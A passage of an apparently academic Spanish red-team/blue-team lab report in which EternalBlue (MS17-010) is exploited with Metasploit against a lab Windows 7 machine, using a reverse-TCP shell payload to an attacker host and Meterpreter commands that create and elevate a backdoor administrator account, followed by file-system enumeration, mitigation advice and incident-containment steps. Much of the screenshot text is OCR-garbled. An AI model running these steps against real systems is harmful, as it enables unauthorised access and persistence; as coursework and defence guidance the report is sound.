PAYLOAD: Windows/x64/shell/reverse_tcp (El payload configurado para obtener una shell
reversa en una maquina de 64 bits).

LHOST: 192.168.1.31 (La direccién IP de la maquina Kali Linux).

LPORT: 4444 (El puerto en la maquina Kali Linux donde se recibira la conexidn).

TargetArchitecture: x64 (La arquitectura del sistema objetivo, configurada como 64 bits).

TargetName: * (El nombre del sistema objetivo, que es el valor predeterminado).

MaxBuffer: 1024 (El tamafio maximo del bufer, que es el valor predeterminado).



ProcessName: Isass.exe (El nombre del proceso a inyectar, que es el valor predeterminado).

Verbose: false (La configuracion para mostrar informacion detallada, que esta desactivada).

Puntos clave:

Configuracion completa: Todas las opciones relevantes estan configuradas correctamente.

Valores correctos: Las direcciones IP, el puerto y el payload son los que se han estado usando.

Claridad: La tabla presenta la informacion de manera clara y facil de entender.

Siguientes pasos:

Ejecutar el exploit: Ahora que la tabla muestra la configuracidn correcta, el siguiente paso es
ejecutar el exploit. En Metasploit Framework, se escribe:

Exploit

llustracion 30 Exploit EXITOSO!

Fuente: Elaboracién propia.
La ejecucion del exploit resultd en la obtencidn exitosa de una shell en la maquina Windows
objetivo. La salida de Metasploit Framework indicé que la explotacidn se completd sin errores y se

establecidé una sesién interactiva con el sistema remoto.

52
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La obtencidon de una shell en la maquina Windows objetivo confirma la explotacién exitosa de la
vulnerabilidad EternalBlue (MS17-010). Este resultado demuestra la severidad de la vulnerabilidad y su
potencial para permitir a un atacante obtener control total sobre el sistema afectado.

La capacidad de ejecutar comandos arbitrarios en el sistema remoto representa un riesgo
significativo, ya que permite la realizacion de diversas acciones maliciosas, como:

* Acceso y robo de informacidén confidencial.

* Instalacién de malware.

* Modificacién o eliminacién de archivos.

* Interrupcion de los servicios del sistema.

* Escalada de privilegios y control total del sistema.

En el contexto de un pentesting, la explotacidn exitosa de EternalBlue permite avanzar hacia el
objetivo de demostrar la fuga de informacidn y la escalada de privilegios.

Verificacion del acceso y prueba de concepto de escalada de privilegios

Para verificar el acceso al sistema y demostrar la escalada de privilegios, se procedié a ejecutar
una serie de comandos en la shell obtenida.

Verificacion del acceso y obtencion de informacion del sistema

Tras la obtencién exitosa de la shell en la maquina Windows objetivo, se ejecutd el comando

‘sysinfo” dentro de la sesidon de Meterpreter para obtener informacién detallada sobre el sistema.

llustracion 31 Informacion detallada del sistema sysinfo

ce Pack 1).

Fuente: Elaboracién propia.
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La salida del comando “sysinfo™ proporciond la siguiente informacién:
Computer:PC202006
0S: Windows 7 (6.1 Build 7601, Service Pack 1)
Architecture: x64
System Language: es\_CO
Domain: WORKGROUP
Logged On Users: 1
Meterpreter: x64/windows

Esta informacidn es de suma importancia ya que confirma el acceso exitoso al sistema objetivo y
proporciona un contexto valioso para las siguientes fases del pentesting. Especificamente, la versién del
sistema operativo (Windows 7 SP1) y la arquitectura (x64) son cruciales para identificar posibles
vulnerabilidades locales que podrian ser explotadas para la escalada de privilegios y el cumplimiento de
los objetivos de la prueba.

Escalada de privilegios

La escalada de privilegios es el proceso de obtener un nivel de acceso superior al que
inicialmente se tiene en un sistema. En un sistema Windows, esto generalmente implica pasar de un
usuario con privilegios limitados a un usuario con privilegios de administrador del sistema.

Existen diversas técnicas para lograr la escalada de privilegios en Windows. Algunas de las mas
comunes incluyen:

Explotacion de vulnerabilidades locales: Buscar vulnerabilidades en el sistema operativo o en
aplicaciones instaladas que permitan ejecutar cédigo con privilegios elevados.

Abuso de configuraciones erréneas: Identificar configuraciones inseguras que permitan a un
usuario con privilegios limitados realizar acciones que normalmente requeririan privilegios de

administrador.
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Robo de tokens de acceso: Obtener tokens de acceso de usuarios con privilegios elevados.

Ataques a servicios: Explotar vulnerabilidades en servicios de Windows que se ejecutan con
privilegios elevados.

En este pentesting, se exploraran algunas de estas técnicas para demostrar la capacidad de
obtener control total sobre el sistema objetivo.

Escalada de Privilegios en el Sistema Objetivo

Una forma directa de demostrar la escalada de privilegios es crear un nuevo usuario con
privilegios de administrador. Esto proporciona un acceso persistente al sistema y permite realizar
cualquier accion que un administrador pueda realizar.

Comandos utilizados:

Para crear un nuevo usuario con privilegios de administrador en Meterpreter, se utilizaran los
siguientes comandos de la extension incognito

use incognito

llustracion 32 Uso del modo incégnito

Fuente: Elaboracién propia.

Se carga la extension incognito en Meterpreter.

Para demostrar la capacidad de manipular el sistema con estos privilegios elevados, se procedio
a realizar las siguientes acciones:

Se crea un nuevo usuario con el nombre de usuario y la contrasefa especificados.

add_user <nombre_de_usuario> <contrasefa>

add_user czuletag 12345678
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llustracion 33 Creacion de usuario

czuletag to host 127.6.8.1

Fuente: Elaboracién propia.

Este comando cred exitosamente el usuario czuletag con la contrasefia 12345678. Inicialmente,
este usuario tendria privilegios estandar.

Para demostrar la escalada de privilegios y la capacidad de modificar los permisos del sistema, el
usuario czuletag fue agregado al grupo local de administradores utilizando el comando
add_localgroup_user de la extension incognito de Meterpreter:

Con el siguiente comando:

LLIN{}

add_group_user "Administradores" “czuletag”

llustracion 34 Usuario agregado al grupo local de administradores

Fuente: Elaboracién propia.

Este comando agrego exitosamente al usuario czuletag al grupo Administradores, otorgandole
asi privilegios de administrador en el sistema local.

Se ejecutd el comando getuid (o su equivalente en la interfaz de Meterpreter, que mostro el
"Nombre de usuario del servidor") para determinar el contexto de seguridad actual de la sesion. La

salida de este comando fue:

llustracion 35 comando getuid

5

neterpreter » getuid

runn I'] a5
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Fuente: Elaboracién propia.

Este resultado indicd que la sesidn actual ya se estaba ejecutando con los privilegios de NT
AUTHORITY\SYSTEM, que es la cuenta de maximo privilegio en sistemas Windows, equivalente al
usuario root en sistemas Linux. Esto significa que ya se contaba con permisos de administrador en el
sistema objetivo. La salida Already running as SYSTEM confirma que el sistema ya operaba con los
maximos privilegios, por lo que no se requirié ninguna accién adicional para escalar.

Identificacion de la Fuga de Informacidén

Tras la exitosa escalada de privilegios en el sistema objetivo, la investigacion se centrd en
determinar el origen y el mecanismo exacto de la fuga de informacidén. Este proceso critico implicé un
analisis multifacético que abarcé la actividad del sistema, los procesos en ejecucién y el flujo de datos,
con el objetivo de identificar cualquier anomalia o comportamiento sospechoso que pudiera indicar una
exfiltraciéon de datos.

Para ello estando en Meterpreter, se lanza el comando sessions -i-1

llustracion 36 comando sessions -i 1

Session 1 is already interactive.

Fuente: Elaboracién propia.

Inicialmente, se verificd la sesidn activa de Meterpreter mediante el comando sessions. La salida
del sistema confirmd que ya se estaba interactuando con la sesién 1, lo que indicaba que la conexiéon
con el sistema objetivo se habia establecido previamente y permanecia activa. Por lo tanto, no fue
necesario volver a ejecutar el comando sessions -i 1.

La informacion del sistema obtenida previamente con el comando sysinfo (como la arquitectura

del sistema operativo y las versiones de software) se considerd relevante para el analisis posterior.
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Para acceder a las funcionalidades del sistema operativo Windows y ejecutar comandos nativos,
se utilizé el comando shell de Meterpreter. Esto proporcioné una interfaz de linea de comandos dentro
del sistema objetivo, permitiendo la interaccion directa con el sistema de archivos, los procesos y otras
funciones del sistema operativo.

Listar archivos y Directorios

Para examinar el sistema de archivos, se utilizé el comando shell de Meterpreter para acceder a
la linea de comandos de Windows. Luego, se empled el comando nativo dir para listar los directorios en
'C:\Program Files' y 'C:\Users\Public\Documents'. Esto permitié identificar las carpetas de las

aplicaciones instaladas y buscar archivos de usuario que pudieran contener informacion sensible.

llustracion 37 Listar archivos y directorios Disco Raiz archivos de programa

Fuente: Elaboracién propia.

Este listado inicial permitid identificar las aplicaciones instaladas en el sistema y proporcioné
una base para la siguiente fase de la investigacién, que consistié en examinar mds a fondo las
aplicaciones potencialmente vulnerables.

Segun el Anexo 4, el sistema comprometido contiene una aplicacion vulnerable. Para localizar

esta aplicacion, se exploran las ubicaciones de instalacién de software mas comunes en Windows. El
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comando dir se usa dentro de la shell de Meterpreter para listar los directorios contenidos en
'C:\Program Files'. Estos directorios suelen contener los archivos ejecutables y otros datos asociados
con las aplicaciones instaladas, lo que los convierte en un lugar légico para comenzar la busqueda. Al
listar estos directorios, se buscaba identificar aplicaciones que pudieran ser candidatas para un analisis
mas profundo debido a nombres inusuales, versiones antiguas conocidas por vulnerabilidades, o

cualquier otra caracteristica que las hicieran sospechosas.

llustracion 38 Exploracion de archivos de documentos

em32>dir "C:\Users\Public\Documents'
C:\Users\Public\Documents"
ELl volumen de 1a unidad C no tiene et

EL nemero de serie del volumen es:

Directorio de C:\Users\Public\Documents

Fuente: Elaboracién propia.

Dado que el directorio 'C:\Users\Public\Documents' no contenia archivos de usuario relevantes
para la investigacidn, se decidid examinar otras estancias.

Se usa también el comando:

dirC:\ /ad /b

llustracion 39 Exploracion de archivos directorios de la unidad C:

une Information

Windows

Fuente: Elaboracién propia.
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Tras la obtencidn de una shell en el sistema comprometido, se examina el sistema de archivos
en busca de la fuga de informacién. La llustracidon 33 muestra la ejecucidn del comando dir C:\ /ad /b en
Meterpreter para listar los directorios de la unidad C:. La salida revela carpetas estandar como 'Archivos
de programa’, 'PerfLogs', 'Program Files', 'Users' y 'Windows'. Se busca cualquier directorio anémalo o
sospechoso, ya que la informacién sensible podria estar en ubicaciones no convencionales. La revision
de estas carpetas se enfoca en identificar archivos con informacién sensible, pistas sobre la fuga,
archivos modificados recientemente o ubicados en directorios no estandar.

A partir de los anteriores resultados, se ve potencial para investigar mas a fondo, por lo que se
procede a lanzar el comando:

C:\SRecycle.Bin

llustracion 40 Exploracion de archivos Papelera de Reciclaje

dir C:\SReci$Recycle.Bin
leciSRecycle.Bin
EL volumen de 1a unidad C no tiene etig
El nemero de serie del volumen es: 6463

Directorio de C:\

No se encuentra el archivo

Fuente: Elaboracién propia.

Se procedid a examinar el contenido de la Papelera de Reciclaje. Para ello, se ejecuto el
comando dir C:\SRecycle.Bin dentro de la carpeta obtenida. La salida de este comando indicd que no se
encontraron archivos en la ubicacién especificada, lo que sugiere que la Papelera de Reciclaje podria
estar vacia o que los archivos eliminados se almacenan de manera que no son directamente visibles con
este comando.

El directorio de aplicaciones de Archivos de Programa como ya lo habiamos listado

anteriormente, no lo vamos a hacer de nuevo en este caso.
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llustracion 41 Exploracion Directorio PerLogs

C:\Windows\system32>dir "C:\PerfLogs" fad /b

dir "C:\PerfLogs" [ad /b
Admin

Fuente: Elaboracién propia.

En la exploracion del sistema de archivos, se procedié a listar los subdirectorios presentes en la
ruta con el comando dir “C:\PerfLogs” mediante el empleo del comando dir con los modificadores fad y
/b. Esta accion permitié identificar de manera concisa la estructura de directorios dentro de la ubicacién
especificada. El resultado de la operacién reveld la existencia del subdirectorio 'Admin' como parte del
contenido de “C:\PerfLogs”. En este punto, no se identificd ninglin elemento que sugiriera anomalias o
actividades sospechosas a primera vista. No obstante, dada la naturaleza de la investigacidén y la
necesidad de descartar cualquier posible ocultamiento de informacién relevante, se determinara que el
siguiente paso légico seria examinar el contenido del subdirectorio 'Admin’' para una inspeccién mas

detallada.

llustracion 42 Exploracion carpeta Admin

"C:\PerfLogs\Admin

1a unidad C no tiene etiqueta.
EL nemero de serie del volumen es: 58CD

Directorio de C:\PerfLogs\Admin

09:35 p.m.  <DIR>
<DIR>
ivos
40.362.749.952

Fuente: Elaboracién propia.
Tras examinar el subdirectorio 'Admin' dentro de 'C:\PerfLogs' mediante el comando dir
"C:\\PerfLogs\\Admin", se determina que este directorio se encontraba vacio, manteniendo solo las

entradas '.'y '..". Este resultado inicial no reveld la presencia de archivos relevantes para la investigacion.
No obstante, la exploraciéon y el estado vacio del directorio fueron registrados para asegurar la

integridad del analisis.
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El comando dir "C:\\Program Files" /ad /b fue utilizado para listar los subdirectorios presentes.

lustracion 43 Exploracion con el comando dir "C:\\Program Files" /ad /b

dir "C:\Progran Files
Files" fad /b

Explorer
a Firefox
MSBuild
Oracle
Assemblies
1 Information
Windows Defender
Windows Journal
Windows Mail
Windows Media Player
Windows NT
Windows Photo Viewer
( Portable Devices
ows Sidebar

Fuente: Elaboracién propia.

La exploracion del directorio reveld la presencia de directorios comunes de instalacién de
programas (p. €j., '7-Zip', 'Mozilla Firefox'). No se identifican anomalias evidentes. Se continuara el
examen de aquellos directorios potencialmente vinculados a la aplicacidn vulnerable mencionada en el

Anexo 4.

llustracion 44 Exploracion a sistema Windows

Fuente: Elaboracién propia.

Se examinaron los directorios 'C:\Program Files' y 'C:\Program Files (x86)' utilizando los

comandos dir "C:\\Program Files" /ad /by dir "C:\\Program Files (x86)" /ad /b para listar sus
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subdirectorios. Este proceso reveld la estructura de directorios tipica de un sistema Windows. No se

identifican anomalias evidentes en esta fase.

llustracion 45 Exploracion a ProgramData

"C:\Programbata" fad /b
" fad [b

Start Menu
Tenplates

Fuente: Elaboracién propia.
Se examina el directorio 'C:\ProgramData' mediante el comando dir "C:\\ProgramData" /ad /b
para listar sus subdirectorios. El resultado mostrd la presencia de directorios comunes utilizados por las

aplicaciones para almacenar datos. En esta etapa, no se identifican anomalias evidentes.

llustracion 46 Exploracion a Recovery

tem32>dir "C:\Recovery" fad /b

lecovery” fad /b
-b78-11ea-bcal-81bad182f8b2

Fuente: Elaboracién propia.

Se examina el directorio 'C:\Recovery' mediante el comando dir "C:\\Recovery" /ad /b,
revelando la presencia de un subdirectorio con el nombre '6d9654c6-b7f8-11ea-bcal-81ba4182f8b2'".
Dado que el nombre sugiere un identificador Unico generado por el sistema, se recomienda una
investigacion mas detallada de su contenido para determinar su relevancia con respecto a la fuga de

informacion.

llustracion 47 Exploracion a Recovery archivo vacio
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Fuente: Elaboracién propia.

Se examina el subdirectorio '6d9654c6-b7f8-11ea-bcal-81ba4182f8b2' dentro de 'C:\Recovery'
mediante el comando dir "C:\\Recovery\\6d9654c6-b7f8-11ea-bcal-81ba4182f8b2". El resultado

indicé que este directorio se encuentra vacio.

llustracion 48 Exploracion a System Volume Information

C:\Windows\system32>dir "C:\System Volume Information" fad /b

dir "C:\System Volume Informatiol
SPP

Fuente: Elaboracién propia

Se examina el directorio 'C:\System Volume Information' mediante el comando dir "C:\\System
Volume Information" /ad /b, revelando la presencia del subdirectorio 'SPP'. Dado que este directorio es
parte del sistema y esta protegido, no se considera una ubicacion probable para la fuga directa de

informacidén en este contexto.

llustracion 49 Exploracion a Users

C:\Windows\system32>dir "C:\Users" /ad /b
dir sers” fad /b

ALL Users

Default

Default User
Public

senal

usuario

Fuente: Elaboracién propia
Se examina el directorio 'C:\Users' mediante el comando dir "C:\\Users" /ad /b, revelando la

presencia de los directorios 'All Users', 'Default’, 'Default User', 'Public', 'semi' y 'usuario'. Se identificé el



65

directorio 'semi', el cual se considera potencialmente relevante y amerita una investigacién mas

detallada debido a su nombre inusual en el contexto de los perfiles de usuario estdndar de Windows.

llustracion 50 Explorando directorio 'C:\Users\semi'

EL volumen de 1a unidad C n
EL nemero de seri 1

Fuente: Elaboracién propia

Se examina el directorio 'C:\Users\semi' mediante el comando dir "C:\\Users\\semi", revelando
la presencia del archivo ejecutable 'winse20w.exe'. Este archivo, ubicado en una carpeta de perfil de
usuario y con un nombre inusual, se considera altamente sospechoso y requiere un andlisis exhaustivo

para determinar su naturaleza y posible impacto en la seguridad del sistema.

llustracion 51 intentando listar archivo sospechoso 'winse20w.exe'

is\systemd2>dir "C:\Users)\seni\winse20w.exe
C:\Users\semi\winselbw.e
solumen de 1a unidad C iene etiqueta.
El nemero de serie del volumen es: 6463-58CD

Directorio de C:\Users\seni

No se encuentra el archivo

Fuente: Elaboracién propia

Se intentd listar el archivo 'winse20w.exe' dentro del directorio 'C:\Users\semi' utilizando el
comando dir "C:\\Users\\semi\\winse20w.exe". El sistema respondié con el mensaje 'No se encuentra
el archivo', indicando que el archivo no estd presente en esa ubicacién en este momento. Se procederd a
ingresar al directorio 'C:\Users\semi' para realizar una investigacién mas exhaustiva de su contenido y
determinar la causa de la ausencia del archivo 'winse20w.exe' y la presencia de otros posibles archivos o

carpetas relevantes.
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llustracién 52 Entrando al directorio 'C:\Users\semi'

(:\Windows\system32scd "C:\Users)seml”

¢d "C:\Users\semi”

G 5-s-rs".,::E111_>|
Fuente: Elaboracién propia
Se naveg6 al directorio 'C:\Users\semi'. Esta accion se realizé6 como paso previo a la evaluacion
de un archivo sospechoso ubicado en dicha carpeta, con el objetivo de analizar su potencial implicacidn

en la fuga de informacién. A continuacion, se procedera a su ejecucién.

llustracion 53 Ejecutando 'winse20w.exe'

(:\Users\seni>winse20wd.exe
wWinse20wd , exe
i b3 BHE  BERRRAER
s Hu
204 i W
i 8 i 8
i1 fee Sopedeesn o8
B4 L+ RS BafRRfD

OB T S

F S W = =
TRHRHIARR

33
=
&3

a3

s

UNIVESIDAD NACIONAL ABIERTA Y A DISTANCIA
ESPECIALIZACION EN S
SEMINARIO ESPECIAL

Tome evidencia y presione ENTER para salir.

Fuente: Elaboracién propia

El ultimo comando winse20w0.exe ejecutado logrd la identificacidn exitosa del archivo
sospechoso

REPORTE

Como Equipo Rojo, se llevé a cabo un pentesting enfocado en un equipo Windows que
albergaba una aplicacién vulnerable, con el objetivo principal de identificar la causa de una fuga de
informacién detectada en la organizacién y demostrar la posibilidad de escalada de privilegios. El andlisis

inicial se centrd en la identificacion de la aplicacién vulnerable y la verificacion de la existencia de un
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exploit asociado que permitiria obtener acceso al sistema a través de un shell, escalar privilegios o
ejecutar otro tipo de ataque, incluyendo la creacidon de un usuario con permisos de administrador como
prueba de concepto.

Durante el desarrollo del pentesting, se logro identificar la vulnerabilidad EternalBlue (MS17-
010) en el sistema Windows objetivo, la cual fue explotada exitosamente utilizando el Metasploit
Framework. Esta explotacién permitio la obtencién de una shell en el sistema, demostrando la viabilidad
de obtener acceso remoto no autorizado.

Para validar la falla de seguridad y demostrar la escalada de privilegios como prueba de
concepto para los directivos, se procedid a crear un usuario del analista con privilegios de administrador.
Esta accidn evidencia la capacidad de un atacante para el control total del sistema y subraya la criticidad
de la vulnerabilidad identificada como un vector de ataque que podria ser utilizado para la fuga de
informacion.

Con la demostracion de la creacidn del usuario administrador, se da por cumplido el objetivo del
pentesting y los requisitos establecidos en el Anexo 4. Los resultados obtenidos confirman que la
vulnerabilidad EternalBlue representd un riesgo significativo para la seguridad del sistema.

2. Datos que Identifican la Vulnerabilidad en Windows (Anexo 4 - Escenario 3): Andlisis del Fallo de
Seguridad en el Escenario Red Team

El Anexo 4 (Escenario 3) presenta un contexto donde el equipo Red Team debe investigar una
fuga de informacidn en un equipo Windows. La informacion inicial sugiere que el sistema afectado
contiene una aplicacién vulnerable explotable para obtener acceso, escalar privilegios y facilitar la
exfiltracién de datos. El proceso de pentesting realizado para abordar este escenario se adhirié a las
fases tipicas: reconocimiento, analisis de vulnerabilidades, explotacidn, post-explotacion y generacion

de informes.
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El proceso se inicio con el reconocimiento y analisis de vulnerabilidades. Se emple¢ la
herramienta netdiscover para identificar los hosts activos en la red, lo que permitié determinar la
direccion IP de la maquina Windows objetivo (192.168.1.22). Posteriormente, se utilizé nmap para
escanear puertos y servicios del sistema, revelando que el puerto SMB (445) estaba abierto. Esta
deteccion fue crucial, ya que indicaba la posible vulnerabilidad a la explotacién de EternalBlue (MS17-
010).

En la fase de explotacidn y escalada de privilegios, la vulnerabilidad EternalBlue (MS17-010) fue
confirmada y explotada exitosamente mediante el uso de Metasploit Framework. Esta explotacion
permitio obtener una shell en la maquina Windows objetivo, demostrando la capacidad de ejecutar
comandos arbitrarios en el sistema. Una vez logrado el acceso inicial, se procedié a la escalada de
privilegios para obtener el control total del sistema, evidenciado por la creacién de un nuevo usuario
con privilegios de administrador, lo que demuestra la capacidad de un atacante para lograr acceso
persistente y realizar acciones maliciosas.

En la fase de identificacion de la fuga de informacion, se realizé un analisis exhaustivo del
sistema. Esto implico la revision de archivos, directorios y procesos del sistema en busca de actividades
sospechosas o evidencias que confirmaran la exfiltracion de datos. En resumen, la informacion del
Anexo 4, complementada con el desarrollo de la Etapa 3, permitié al equipo Red Team identificar y
explotar la vulnerabilidad EternalBlue (MS17-010) en el servicio SMB del Windows objetivo, logrando la
escalada de privilegios y la demostracion de la potencial fuga de informacion.

3. Andlisis de Herramientas y Puerto: Vulnerabilidad Windows

Para la identificacion y explotacién de los fallos de seguridad en la maquina Windows, se

emplearon principalmente tres herramientas fundamentales. Primero, Netdiscover fue utilizada en la

fase de reconocimiento para identificar los hosts activos en la red local. Mediante el escaneo del
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segmento de red a través de peticiones ARP, esta herramienta permitié descubrir la direccién IP de la
magquina Windows objetivo (192.168.1.22).

Se empled Nmap (Network Mapper) para el escaneo de puertos y servicios de la maquina
Windows. Este escaner de puertos reveld que el puerto 445 (SMB) estaba abierto, un hallazgo crucial
que sugirio la posible vulnerabilidad a la explotacidn de EternalBlue (MS17-010).

Metasploit Framework fue la herramienta clave utilizada para explotar la vulnerabilidad
EternalBlue (MS17-010) una vez identificada. Metasploit proporcioné los recursos necesarios para
obtener una shell en la maquina Windows comprometida y demostrar la capacidad de escalar
privilegios.

En relacidn con el puerto especifico explotado por la aplicacion vulnerable mencionada en el
Anexo 4, se confirmé que la vulnerabilidad EternalBlue (MS17-010) se explota directamente a través del
puerto 445, que es el puerto estandar asociado al servicio SMB (Server Message Block).

4. Andlisis y Representacion Grdfica de la Explotacion en Windows

Impacto y Mecanismo del Ataque a la Maquina Windows

El ataque descrito en los documentos se centro en la explotacion de la vulnerabilidad
EternalBlue (MS17-010), presente en el protocolo Server Message Block (SMB) de la maquina Windows
objetivo. Esta vulnerabilidad permite la ejecucién de cédigo arbitrario en el sistema afectado, lo que
conlleva graves consecuencias para su seguridad e integridad.

Las fases del ataque y su impacto se detallan a continuacién:

Reconocimiento: El proceso inicia con la identificacién de la maquina Windows objetivo en la
red mediante herramientas como netdiscover y nmap. Estas permiten escanear la red, descubrir la
direccidn IP del equipo (192.168.1.22) y los servicios que ejecuta. Aunque esta fase inicial no afecta

directamente a la maquina, proporciona la informacién necesaria para la planificacién del ataque.
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Explotacidn: Utilizando Metasploit Framework, el atacante explota la vulnerabilidad EternalBlue
(MS17-010) en el servicio SMB del sistema Windows. Esto se logra enviando paquetes maliciosos al
puerto 445 de la maquina, lo que resulta en la ejecucién no autorizada de cédigo. El impacto directo es
la pérdida de control sobre el sistema.

Post-Explotacion: Una vez obtenido el acceso a la maquina Windows, el atacante puede realizar
diversas acciones maliciosas. En el contexto del pentesting, esto incluye la escalada de privilegios (como
la creacidn de un usuario administrador) y la exploraciéon del sistema para identificar la fuga de
informacién. El impacto de estas acciones puede abarcar:

Acceso no autorizado a datos confidenciales: Posibilidad de leer, copiar o modificar archivos y
carpetas sensibles.

Instalacion de malware: El atacante puede instalar software malicioso para obtener acceso
persistente, robar informacion o ejecutar otras acciones perjudiciales.

Modificacién o eliminacién de archivos: Posibilidad de alterar o suprimir archivos importantes
del sistema, lo que podria causar pérdida de datos o inestabilidad.

Interrupcién de los servicios del sistema: El atacante puede detener o modificar servicios,
resultando en la interrupcién de las operaciones normales de la maquina Windows.

Representacidon Grafica del Ataque:

Un diagrama de flujo ilustra visualmente el proceso del ataque, desde el reconocimiento inicial

hasta las posibles consecuencias en la maquina:
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llustracion 54 Diagrama de flujo - Proceso del Ataque

Inicio

a

Reconocimiento

-

Identificar la mégquina Windows objetivo (192.168.1.22) y el puerto SMB (445) zbierto

-

Explotacian

“

Explotar |a vulnerabilidad EternalBlue (M517-010) a través del puerto 445 usando Metasploit

“

Obtener una shell en la maguina Windows

.

Post-Explotacian

a

Escalar privilegios (crear un usuario administrador)

a

Explorar el sistemna para identificar la fuga de informacién

-

Acceso no autorizado a datos, instalacion de malware, modificacion/eliminacion de archivos, interrupcidn de servicios

-

Fin

Fuente: Elaboracién propia

Recomendaciones:
Basado en el pentesting realizado y el analisis del escenario de fuga de informacidn en el equipo
Windows, el equipo Red Team presenta las siguientes recomendaciones clave para mitigar el riesgo de

futuros incidentes:
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Actualizacién y Parcheo del Sistema Operativo: Es fundamental implementar un proceso
riguroso y continuo de actualizacidn y parcheo del sistema operativo Windows. La explotacion exitosa
de EternalBlue (MS17-010) resalta la necesidad critica de mantener los sistemas actualizados con los
ultimos parches de seguridad, dada la amplia difusién de esta vulnerabilidad.

Fortalecimiento de la Seguridad del Protocolo SMB: Dado que el protocolo SMB fue el vector de
ataque principal, se sugiere fortalecer su seguridad. Esto incluye deshabilitar versiones obsoletas de
SMB (como SMBv1) que son mas vulnerables y la implementacién de segmentacion de red para limitar
la exposicidn de este protocolo.

Gestion de Privilegios: La posibilidad de escalar privilegios tras la explotacidn inicial subraya la
importancia de revisar y reforzar las politicas de gestién de privilegios. Se aconseja aplicar el principio de
minimo privilegio, limitando la asignacidn de derechos de administrador solo a los usuarios que
realmente lo requieran.

Monitoreo y Deteccion de Intrusiones: Se recomienda implementar un sistema robusto de
monitoreo y deteccién de intrusiones. La activacidén de eventos y la generacidn de alertas oportunas son
esenciales para identificar actividades sospechosas o maliciosas en el sistema, facilitando una respuesta
rapida ante posibles incidentes de seguridad.

Concientizacién y Capacitaciéon en Seguridad: Se enfatiza la importancia de la concientizaciény
capacitacién continua de los usuarios en temas de seguridad informatica. Se deben realizar campafias
periddicas de sensibilizacién sobre los riesgos, las mejores practicas y la relevancia de reportar cualquier
actividad sospechosa.

Etapa 4 Contencidon de Ataques Informaticos
La cuarta etapa del seminario se enfoca en la actuacion del Blue Team ante incidentes de

seguridad, detallando el andlisis, la contencidon y las medidas preventivas.
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1. Informe de Andlisis y Contencidn de Incidentes de Seguridad

La capacidad de un "Blue Team" para responder eficazmente a un ataque informatico en curso
es vital para la continuidad y la integridad de una organizacidn. Este informe aborda un escenario
simulado para CyberFort Technologies, donde se requiere la contencién y el andlisis técnico de un
sistema Windows comprometido previamente por un "Red Team". El objetivo es mitigar el dafio en
tiempo real y prevenir la proliferacién del ataque, priorizando herramientas de cédigo abierto o con
licencia GPL debido a limitaciones presupuestarias (Chindrus & Caruntu, 2023).

Respuesta Inicial y Prioridades ante un Ataque en Tiempo Real

Ante la deteccién de un ataque en la maquina Windows, la estrategia del Blue Team debe ser
rapida y metddica, fuertemente influenciada por la informacién del Red Team. El conocimiento previo
de que la maquina fue comprometida mediante EternalBlue (MS17-010) y que se escalaron privilegios
para crear un usuario administrador (Harris, 2017), ofrece una ventaja significativa para la investigacion
y contencidn inicial. Como experto en ciberseguridad y miembro del Blue Team, el enfoque se centra en
las siguientes acciones fundamentales:

1. Comprobacién Urgente de la Persistencia de la Vulnerabilidad y el Compromiso:

Indagacién: Primero, se investiga si EternalBlue (MS17-010) sigue siendo explotable. Esto
implica una verificacién rapida del estado de los parches de seguridad de Microsoft en Windows,
especificamente el parche para MS17-010.

Argumento Técnico: La ausencia del parche MS17-010 indica una falla critica en la gestion de
vulnerabilidades. Si no se ha aplicado, es probable que el atacante (o uno nuevo) esté utilizando esta
misma vulnerabilidad para mantener el acceso o reingresar. Herramientas como nmap (con scripts NSE
especificos para smb-vuln-ms17-010) desde un host seguro, o la revisién de parches instalados (wmic

gfe get Caption,HotFixID,InstalledOn) si hay acceso, serian cruciales.



Indagacién Adicional: Inmediatamente después, se investiga la existencia y actividad de
cualquier usuario administrador no legitimo, especialmente el creado por el Red Team.

Argumento Técnico: La creacién previa de un usuario administrador por el Red Team sugiere
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que el atacante actual podria usar ese acceso (Osborne, 2011). La revision de grupos de administradores

locales (net localgroup administrators) y la auditoria de los logs de creacidn de usuarios en el Visor de

Eventos de Windows (logs de Seguridad, Event ID 4720) son pasos criticos para identificar credenciales

persistentes.

2. Aislamiento Estratégico y Preservacion de Evidencia Volatil:

Accién: Dada la confirmacién del compromiso via EternalBlue y la escalada de privilegios, la
prioridad es el aislamiento inmediato de la maquina, preferiblemente desconectando fisicamente el
cable de red. En entornos mas complejos, se pueden aplicar reglas de firewall o switch.

Argumento Técnico: El aislamiento es la medida mas efectiva para evitar que el atacante
mantenga el control, detenga la exfiltracién de datos y prevenga el movimiento lateral. Al ser una

maquina Windows previamente comprometida, la prioridad es cortar la comunicacién del atacante.

Accidén Adicional (simultanea): Antes de cualquier manipulacion del sistema operativo que altere

la memoria, se procede a la captura de evidencia volatil.

Argumento Técnico: La informacidn volatil (RAM, conexiones, procesos, cachés) es efimera.

Conocer que se usé Meterpreter y se escalaron privilegios hace que la captura de la memoria RAM sea

vital. Herramientas gratuitas como Dumplt o FTK Imager Lite (para volcado de memoria) serian
empleadas. También se documentarian las conexiones de red (netstat -ano), procesos en ejecucion
(tasklist /svc /fo list), y tablas ARP/rutas para un snapshot del estado del host comprometido.

3. Identificacion de Puntos de Persistencia Adicionales:

Indagacidn: Tras el aislamiento y la captura de volatiles, la investigacion se centra en cémo el

atacante establecio su persistencia mas alla de la explotacidn inicial de EternalBlue (Mitnick & Zullo,
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2005). Esto incluye la busqueda de backdoors, cuentas no autorizadas (como la del Red Team), servicios
maliciosos, tareas programadas o modificaciones en el registro de Windows (Run, RunOnce, Shell keys)
gue permitan el reingreso tras un reinicio.

Argumento Técnico: La escalada de privilegios indica que el atacante pudo modificar el sistema
para asegurar acceso continuo (S2 Grupo, n.d.). Herramientas de cddigo abierto como Autoruns
(Sysinternals) son invaluables para enumerar programas de inicio automatico. La revisidn de servicios
(services.msc o sc query state= all), tareas programadas (schtasks /query /fo list) y cuentas/grupos
locales (net user, net localgroup) son puntos de control estdndar. La investigacidon de la fuga de
informacién implica que el atacante no solo busca acceso, sino también exfiltracion de datos, lo que a
menudo requiere persistencia.

Al adoptar esta secuencia de acciones, el Blue Team reacciona de manera informada y
estratégica, aprovechando el conocimiento previo del compromiso para acelerar la contenciéon vy el
analisis forense posterior.

El siguiente mapa conceptual ilustra la secuencia légica y las prioridades de un equipo Blue
Team al responder a un ataque informatico en tiempo real, considerando el conocimiento previo de la

vulnerabilidad y el compromiso (Quintero, 2020).



llustracion 55 Mapa Conceptual de la Respuesta Inicial del Equipo Azul

INICIO: Deteccidén de Atague en
Tiempo Real en Maquina Windows

l

' N\
